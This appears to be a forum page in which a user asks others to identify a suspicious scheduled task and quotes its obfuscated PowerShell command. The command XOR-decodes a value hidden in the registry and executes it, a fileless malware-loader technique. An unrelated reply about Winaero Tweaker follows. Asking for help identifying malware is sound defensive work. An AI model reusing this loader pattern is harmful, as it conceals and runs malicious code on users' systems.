    Help to identify suspicious task "jojLNs"


    I had a somewhat suspicious task scheduled called "jojLNs" for some reason, it was tasked to run a powershell script in System32, the contents of which look something like this: $BeGAuVtuCJ=[ScriptBlock];$nXopPKHXZuvg=[string];$RFmkrqWtsy=[char]; icm $BeGAuVtuCJ::Create$nXopPKHXZuvg::Join'', gp 'HKLM:\SOFTWARE\DefaultUserEnvironment03ZVQpAT'.'6YoArxq' % { $_ -bxor 27+16+8+74+21+21+3+0+0+2+3+1 -as $RFmkrqWtsy }Can anyone please tell what it was doing and was it harmful in any way?

    :)

    No restart button in task manager

    another easy way to kill tasks, download and install Winaero Tweaker(free) and theres a setting to add a Kill non responding tasks using the desktop right click menu. When you place your cursor on the desktop anywhere and right click the option is at the top of the list, Very handy and you dont have to go through all those steps and well Winaero Tweaker has alot of cool Windows tweaks. Just posting a different suggestion, Im sure your ok with what was suggested here.
